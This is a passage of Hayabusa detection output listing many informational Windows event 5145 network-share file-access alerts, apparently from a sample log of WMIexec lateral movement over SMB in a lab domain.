Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pae3498d9#\92502f352b3e8ec57c8956a28e4dea98 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07#\d9659b5db4bc25a33861dbc0ca19c837 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pcd26229b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pcd26229b#\adfb2cd1f200788f6e0472379725ce7f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pd3efef62# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pd3efef62#\379936827e72fda4d66f53769c06c9ee : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pefb7a36b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.891 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pefb7a36b#\4a462e10f0ca871771e1eba0d4708e2e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.907 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.R251a4777# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.907 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.R251a4777#\ab7fb35e2fb3e61e15dcaabbd82b7508 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.907 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S0f8e494c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.922 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S0f8e494c#\97871d486d086e08c66cb7bf9335e012 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S1bc92e04# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S1bc92e04#\931ade8881fd66e64743490a332ca6a8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S8ca2c749# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.938 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S8ca2c749#\cba0b74c99ed7ace30d99b1ed03059e9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.953 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S54faafb0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.953 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S54faafb0#\1ccd3b57c9350fc1afa3ed354290f755 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S356e1ba0# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S356e1ba0#\0cf0db1a6758c7e0c0ba05029f155cfa : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.969 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S88747207# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.S88747207#\1c10bd935ecce56f3dada604138983f2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Sa56e3556# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Sa56e3556#\9c705405cffb72e6df411a91a2c062c7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Sb6a1f1bc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.985 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Sb6a1f1bc#\88a7ae331deac4585f47de7e6e4277dc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.T9d753d8c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.T9d753d8c#\e2e911ae8e5924a9ef63135cd8c6b797 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Te49ad7d9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Te49ad7d9#\f8a02123f968d1ae6940ac5d6a1dd485 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Te3736ca4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.001 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Te3736ca4#\e4a04c178babbb8bb5aaf6d60b47d649 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.017 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ud0e65fb9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.017 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Ud0e65fb9#\d90607e7c895999c98edb4043f0073e5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.017 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\fab34eeddd8d0d9679cce669b2cff4fe : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V4381984f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V4381984f#\1a33211365967c012f504ade4abce1ed : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Vb0a86591# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.032 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Vb0a86591#\f21bca07e5816f88c1107f51e64caa60 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Vf4833439# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Vf4833439#\fb6f372260a08811a4ca7666c60e31e8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.VisualC : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.VisualC\8dd5d48acfdc4ce750166ebe36623926 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W0bb5dac4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.048 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W0bb5dac4#\eff9f99a173bfe23d56129e79f85e220 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.063 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2bac6884# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.063 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2bac6884#\98fa0075b3677ec2d6a5e980c8c194e2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.081 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2d29a719# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.081 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2d29a719#\b04af69b54fb462c4c632d0f508d617b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.081 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2d6979e4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.081 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2d6979e4#\b77a61cdfca8e3f67916586b89eb6df5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.097 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2ded559f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.097 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W2ded559f#\2cbdedd1fc5676a39a1fb1b534f48d02 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.097 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W3cdb5602# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.113 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W3cdb5602#\e3e82e97635cdd0d33dd1fb39ffe5b5f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.113 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W6c95e797# : IP Address: 